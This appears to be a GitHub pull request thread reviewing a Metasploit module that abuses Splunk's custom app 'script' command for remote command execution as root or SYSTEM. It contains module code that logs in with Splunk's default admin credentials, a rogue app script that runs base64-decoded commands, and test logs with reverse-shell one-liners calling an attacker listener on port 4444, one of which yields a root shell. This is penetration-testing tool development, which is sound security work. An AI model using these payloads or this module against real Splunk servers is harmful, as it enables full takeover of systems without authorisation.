Splunk upload app exec #1062

Closed
wants to merge 9 commits into
from

Projects

None yet

4 participants

@marcwickenden
Contributor

Addition of a module to abuse the "script" functionality in Splunk (all versions) to gain arbitrary command execution on the Splunk server.

Blog post URLs in the exploit module explain the background and give examples of usage. Links will be live very shortly.

At the moment there is a tgz included in the data directory. With no tar support in rex at this time I did not have time yet to code the dynamic generation of the tarball but this is definitely on my roadmap. The folder from which the tgz is generated is included unpacked too for ease of modification and reference.

Marc Wickenden added some commits Nov 11, 2012
Marc Wickenden addition of exploit module for script command in Splunk d9d59a7
Marc Wickenden remove rex/tar require as not yet implemented 116cae3
Marc Wickenden re-ordered status message so variable defined when called cb3e6ad
Marc Wickenden improvements to app so data is written back to Splunk bd1e39d
Marc Wickenden Multiple improvements
- Overhauled Splunk app to format and return output
- Converted to non-streaming app to enable output
- Added advanced options for disabling command output,
	forcing upload to overwrite (if you change the app tgz),
	disabling upload if you've already uploaded once
04032a7
Marc Wickenden addition of blog post URLs 0519376
Marc Wickenden added advanced option to increase delay waiting for command output 549e430
@wchen-r7
Contributor

Any CVE or OSVDB for this?

@jlee-r7 jlee-r7 and 1 other commented on an outdated diff Nov 13, 2012
modules/exploits/multi/http/splunk_upload_app_exec.rb
+ 'Universal CMD',
+ {
+ 'Arch' => ARCH_CMD,
+ 'Platform' => ['unix', 'win', 'linux']
+ }
+ ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => '27 September 2012'))
+
+ register_options(
+ [
+ Opt::RPORT(8000),
+ OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
+ OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
+ OptString.new('SPLUNK_APP_FILE',
@jlee-r7
jlee-r7 Nov 13, 2012 Contributor

Should be OptPath

@marcwickenden
marcwickenden Nov 13, 2012 Contributor

Fixed.

@jlee-r7 jlee-r7 and 1 other commented on an outdated diff Nov 13, 2012
modules/exploits/multi/http/splunk_upload_app_exec.rb
+ 'earliest_time' => "0",
+ 'latest_time' => "",
+ 'timeFormat' => "%s.%Q"
+ }
+ }, 25)
+
+ if return_output
+ res.body.match(/data":\ "([0-9.]+)"/)
+ job_id = $1
+
+ # wait a short time to let the output be produced
+ print_status("waiting for #{command_output_delay} seconds to retrieve command output")
+ select(nil,nil,nil,command_output_delay)
+ job_output = fetch_job_output(job_id)
+ if job_output.body.match(/Waiting for data.../)
+ print_info("no output returned in time")
@jlee-r7
jlee-r7 Nov 13, 2012 Contributor

print_info doesn't exist. You probably meant print_status

@marcwickenden
marcwickenden Nov 13, 2012 Contributor

Yes. Yes I did.

@jlee-r7 jlee-r7 and 1 other commented on an outdated diff Nov 13, 2012
modules/exploits/multi/http/splunk_upload_app_exec.rb
+ line.gsub!(/^"/,"")
+ line.gsub!(/"$/,"")
+ output << line
+ end
+
+ # return the output
+ print_status("command returned:")
+ print output
+ end
+ else
+ handler
+ end
+ end
+
+ def check
+ # all versions are actually "vulnerable" but check implemented for future proofing
@jlee-r7
jlee-r7 Nov 13, 2012 Contributor

This would be more useful if it checks the login credentials.

@marcwickenden
marcwickenden Nov 13, 2012 Contributor

Agree it's pretty useless right now. Is it normal to perform an authentication as part of an exploit check? I'm happy to move it around a little and call do_login as part of the check too but I'd class a login as an intrusive action rather than a check.

If someone calls check multiple times with incorrect details they could lock a valid account. Am I wrong on this point or is there precedent?

@marcwickenden
Contributor

No CVE, etc as it's not actually a vulnerability. Blog posts referenced are going live tomorrow but in short it abuses functionality. Written as an exploit to give payload options.

Will look at the other comments now. Thanks for the feedback. 👍

Marc Wickenden - fixed typo use of print_info instead of print_status
- use OptPath for the SPLUNK_APP_FILE
803b3da
@wchen-r7
Contributor

Please run msftidy on your module first, and then correct all the warnings/errors if you see them. Thanks.

@wchen-r7
Contributor

tar file inspected.

@marcwickenden
Contributor

Cool, didn't know about msftidy. Bunch of indentation issues to clean up. Will do that now.

@wchen-r7
Contributor

Tested with splunk-4.2.5-113966-linux-2.6-intel.deb.deb, not really working for me:

emsf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...
[*] Using command: sh -c '(sleep 4484|telnet 10.0.1.3 4444|while : ; do sh && break; done 2>&1|telnet 10.0.1.3 4444 >/dev/null 2>&1 &)'

[*] authenticating...
[*] Started reverse double handler
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[-] Exploit failed: csrf form Key not found
[*] Exploit completed, but no session was created.

I looked at /en-US/manager/launcher/apps/local manually, no "FORM_KEY" in that page.

Am I missing something?

@wchen-r7
Contributor

Tested with splunk-5.0.1-143156-linux-2.6-intel.deb.deb, working for me:

msf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...

[*] Using command: sh -c '(sleep 3674|telnet 10.0.1.3 4444|while : ; do sh && break; done 2>&1|telnet 10.0.1.3 4444 >/dev/null 2>&1 &)'
[*] Started reverse double handler
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo u0G9gZ8HUebH9S0R;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "u0G9gZ8HUebH9S0R\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.1.3:4444 -> 10.0.1.8:52635) at 2012-11-16 14:53:24 -0600
id
[*] fetching job_output for id 1353099201.2
[*] command returned:

uid=0(root) gid=0(root) groups=0(root)

So it looks like the exploit actually doesn't work against older versions of Splunk.

@wchen-r7
Contributor

I'll be making some changes to the module. When it's in master, please remember to update before you decide to make anymore changes again.

@wchen-r7
Contributor

Log for the tgz file inspection:

mbp:review sinn3r$ file upload_app_exec.tgz 
upload_app_exec.tgz: gzip compressed data, from Unix, last modified: Tue Nov 13 03:46:49 2012
mbp:review sinn3r$ tar -xf upload_app_exec.tgz 
mbp:review sinn3r$ ls -R upload_app_exec
bin      default  metadata

upload_app_exec/bin:
msf_exec.py

upload_app_exec/default:
app.conf      commands.conf

upload_app_exec/metadata:
default.meta
mbp:review sinn3r$ cat upload_app_exec/bin/msf_exec.py 
import sys
import base64
import splunk.Intersplunk

results = []

try:
        sys.modules['os'].system(base64.b64decode(sys.argv[1]))

except:
        import traceback
        stack = traceback.format_exc()
        results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))

splunk.Intersplunk.outputResults(results)
mbp:review sinn3r$
@wchen-r7
Contributor

Tested against splunk-5.0.1-143156-x86-release.msi on Windows Server 2003 SP2, similar prob as before:

[*] Started reverse handler on 10.0.1.3:4444 
[*] Using command: ruby -rsocket -e 'c=TCPSocket.new("10.0.1.3","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
[*] Authenticating...
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[-] Exploit failed: csrf form Key not found

When it tries to find a token from /en-US/app/upload_app_exec/flashtimeline, the server returns a 404 ("App "upload_app_exec" does not support UI access. See its app.conf for more information.")

I might have to strip support for Windows if I can't find a Windows box that works.

@wchen-r7
Contributor

I take that back. I don't think this module is ready, and it should go through more testing/tweaking against different environments. Here's another example against Windows Server 2008 SP0 of it not working:

[*] Started reverse handler on 10.0.1.3:4444 
[*] Using command: ruby -rsocket -e 'c=TCPSocket.new("10.0.1.3","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] fetching job_output for id 1353105938.4
[*] command returned:
msf  exploit(splunk_upload_app_exec) >

I'll just let you know which parts should be changed with examples. And then we'll come back to review this again when it's ready.

@wchen-r7 wchen-r7 commented on the diff Nov 16, 2012
modules/exploits/multi/http/splunk_upload_app_exec.rb
+ },
+ 'Author' =>
+ [
+ "@marcwickenden", # discovery and metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
+ [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ],
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 1024,
+ 'Badchars' => '',
@wchen-r7
wchen-r7 Nov 16, 2012 Contributor

Please remove this. When it's empty, then you don't really need it.

@wchen-r7 wchen-r7 commented on the diff Nov 16, 2012
modules/exploits/multi/http/splunk_upload_app_exec.rb
+ commands defined in their custom application which includes arbitrary perl or python code.
+ To exploit this vulnerability, a valid Splunk user with the admin
+ role is required. By default, this module uses the credential of "admin:changeme",
+ the default Administrator credential for Splunk. Note that the Splunk web interface
+ runs as SYSTEM on Windows and as root on Linux by default.
+ },
+ 'Author' =>
+ [
+ "@marcwickenden", # discovery and metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
+ [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ],
@wchen-r7
wchen-r7 Nov 16, 2012 Contributor

Generally it's best to avoid trailing commas. Sometimes a trailing comma can cause a syntax error in Ruby 1.8.

@wchen-r7 wchen-r7 commented on the diff Nov 16, 2012
modules/exploits/multi/http/splunk_upload_app_exec.rb
+ 'References' =>
+ [
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
+ [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
+ [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ],
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 1024,
+ 'Badchars' => '',
+ 'DisableNops' => true
+ },
+ 'Targets' =>
+ [
+ [
+ 'Universal CMD',
@wchen-r7
wchen-r7 Nov 16, 2012 Contributor

Only name it "Universal" when you've actually tested every platform supported by the vulnerable software.

@wchen-r7 wchen-r7 commented on the diff Nov 16, 2012
modules/exploits/multi/http/splunk_upload_app_exec.rb
+ if v.split('=')[0] =~ /session_id/
+ session_id_port = v.split('=')[0]
+ session_id = v.split('=')[1]
+ end
+ }
+ }
+ @auth_cookies = "#{session_id_port}=#{session_id}"
+ end
+ end
+
+ def do_upload_app(app_name, file_name)
+ archive_file_name = File.basename(file_name)
+ print_status("uploading file #{archive_file_name}")
+ file_data = File.open(file_name, "rb") { |f| f.read }
+
+ boundary = '--------------' + rand_text_alphanumeric(6)
@wchen-r7
wchen-r7 Nov 16, 2012 Contributor

Instead of crafting this from scratch, you should use Rex::MIME::Message. Here's exactly how to do that:

data = Rex::MIME::Message.new
data.add_part(@csrf_form_key, nil, nil, "form-data; name=\"splunk_form_key\"")
if @enable_overwrite
    data.add_part('1', nil, nil, "form-data; name=\"force\"")
end
data.add_part(file_data, 'application/x-gzip', nil, "name=\"appfile\"; filename=\"#{archive_file_name}\"")
post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
@wchen-r7 wchen-r7 commented on the diff Nov 16, 2012
modules/exploits/multi/http/splunk_upload_app_exec.rb
+ data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
+ data << "#{@csrf_form_key}"
+ data << "\r\n--#{boundary}\r\n"
+
+ if @enable_overwrite
+ data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
+ data << "1"
+ data << "\r\n--#{boundary}\r\n"
+ end
+
+ data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
+ data << "Content-Type: application/x-gzip\r\n\r\n"
+ data << file_data
+ data << "\r\n--#{boundary}--\r\n"
+
+ res = send_request_raw({
@wchen-r7
wchen-r7 Nov 16, 2012 Contributor

When you use Rex::MIME::Message like I demonstrated, you can use send_request_cgi() instead. This is exactly how to do that:

res = send_request_cgi({
    'uri'     => '/en-US/manager/appinstall/_upload',
    'method'  => 'POST',
    'cookie'  => @auth_cookies,
    'ctype'   => "multipart/form-data; boundary=#{data.bound}",
    'data'    => post_data
}, 30)
@wchen-r7 wchen-r7 commented on the diff Nov 16, 2012
modules/exploits/multi/http/splunk_upload_app_exec.rb
+ print_status("fetching csrf token from #{uri}")
+ res = send_request_cgi(
+ {
+ 'uri' => uri,
+ 'method' => 'GET',
+ 'cookie' => @auth_cookies
+ }, 25)
+ res.body.match(/FORM_KEY":\ "(\d+)"/)
+ @csrf_form_key = $1
+ fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
+ end
+
+ def fetch_job_output(job_id)
+ # fetch the output of our job id as csv for easy parsing
+ print_status("fetching job_output for id #{job_id}")
+ res = send_request_raw(
@wchen-r7
wchen-r7 Nov 16, 2012 Contributor

In here, you should take advantage of send_request_cgi(). Here's exactly how to do that:

res = send_request_raw(
{
    'uri'          => "/en-US/api/search/jobs/#{job_id}/result",
    'method'       => 'GET',
    'cookie'       => @auth_cookies,
    'encode_param' => 'false',
    'vars_get'     => {
        'isDownload'     =>'true',
        'timeFormat'     => '%FT%T.%Q%:z',
        'maxLines'       => '0',
        'count'          => '0',
        'filename'       => '',
        'outputMode'     => 'csv',
        'spl_ctrl-limit' => 'unlimited',
        'spl_ctrl-count' => '10000'
    }
})

If you don't want the API to automatically escaping the parameter name & value, set encode_params to false. When I tested this, I didn't have to do that though.

@jvazquez-r7
Contributor

A little more testing, just blind testing, without digging why it's failing:

  • Windows XP SP3 / splunk-5.0.1-143156-x86-release
msf  exploit(splunk_upload_app_exec) > show options
Module options (exploit/multi/http/splunk_upload_app_exec):
   Name             Current Setting                                                                     Required  Description
   ----             ---------------                                                                     --------  -----------
   PASSWORD         changeme                                                                            yes       The password for the specified username
   Proxies                                                                                              no        Use a proxy chain
   RHOST            192.168.1.140                                                                       yes       The target address
   RPORT            8000                                                                                yes       The target port
   SPLUNK_APP_FILE  /Users/juan/Projects/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz  yes       The "rogue" Splunk application tgz
   USERNAME         admin                                                                               yes       The username with admin role to authenticate as
   VHOST                                                                                                no        HTTP server virtual host
Payload options (cmd/unix/reverse):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.129    yes       The listen address
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Universal CMD
msf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...
[*] Started reverse double handler
[*] Using command: sh -c '(sleep 4159|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
[*] authenticating...
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[*] uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] invoking script command
[*] waiting for 5 seconds to retrieve command output
[*] fetching job_output for id 1353142058.2
[*] command returned:
  • Windows XP SP3 / splunk-4.2.5-113966-x86-release
msf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...
[*] Using command: sh -c '(sleep 4039|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
[*] authenticating...
[*] Started reverse double handler
[*] fetching csrf token from /en-US/manager/launcher/apps/local
[-] Exploit failed: csrf form Key not found
@marcwickenden
Contributor

The problem is that the csrf protection only came in in version 4.3.2 and was further enhanced in subsequent minor releases. I've already made progress on updates to accommodate this.

Thanks all for the time taken so far.

Marc

On 17 Nov 2012, at 08:57, Juan Vazquez notifications@github.com wrote:

A little more testing, just blind testing, without digging why it's failing:

Windows XP SP3 / splunk-5.0.1-143156-x86-release
msf exploit(splunk_upload_app_exec) > show options

Module options (exploit/multi/http/splunk_upload_app_exec):

Name Current Setting Required Description


PASSWORD changeme yes The password for the specified username
Proxies no Use a proxy chain
RHOST 192.168.1.140 yes The target address
RPORT 8000 yes The target port
SPLUNK_APP_FILE /Users/juan/Projects/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz yes The "rogue" Splunk application tgz
USERNAME admin yes The username with admin role to authenticate as
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse):

Name Current Setting Required Description


LHOST 192.168.1.129 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name


0 Universal CMD

msf exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...

[] Started reverse double handler
[
] Using command: sh -c '(sleep 4159|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
[] authenticating...
[
] fetching csrf token from /en-US/manager/launcher/apps/local
[] uploading file upload_app_exec.tgz
[
] upload_app_exec successfully uploaded
[] fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[
] invoking script command
[] waiting for 5 seconds to retrieve command output
[
] fetching job_output for id 1353142058.2
[] command returned:
Windows XP SP3 / splunk-4.2.5-113966-x86-release
msf exploit(splunk_upload_app_exec) > rexploit
[
] Reloading module...

[] Using command: sh -c '(sleep 4039|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
[
] authenticating...
[] Started reverse double handler
[
] fetching csrf token from /en-US/manager/launcher/apps/local
[-] Exploit failed: csrf form Key not found

Reply to this email directly or view it on GitHub.

@wchen-r7
Contributor

Any more progress for this?

@wchen-r7
Contributor

It looks like no more progress is made. I'll have to to leave this in the unstable branch for now because it has issues with some other vulnerable versions. When this is ready again, feel free to reopen/or start a new pull request, and then we'll come back to verify it again.

@wchen-r7 wchen-r7 closed this Nov 21, 2012
@marcwickenden
Contributor

That's cool. I've had no time to look at it again yet. Will pick up when I can.

On 21 Nov 2012, at 21:38, sinn3r notifications@github.com wrote:

It looks like no more progress is made. I'll have to to leave this in the unstable branch for now because it has issues with some other vulnerable versions. When this is ready again, feel free to reopen/or start a new pull request, and then we'll come back to verify it again.


Reply to this email directly or view it on GitHub.

@jvazquez-r7 jvazquez-r7 pushed a commit to jvazquez-r7/metasploit-framework that referenced this pull request Dec 7, 2012
jvazquez-r7 Cleanup of #1062 133ad04
@todb todb added a commit to todb/metasploit-framework that referenced this pull request Nov 8, 2013
@todb todb Merge master to unstable so it's possible to merge back
This should also resolve the conflict introduced by #1913 (and #1062).
Unstable modules should hit the unstable directory to avoid problems like this.

Conflicts:
	unstable-modules/exploits/incomplete/multi/http/splunk_upload_app_exec.rb
c5f52ba
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment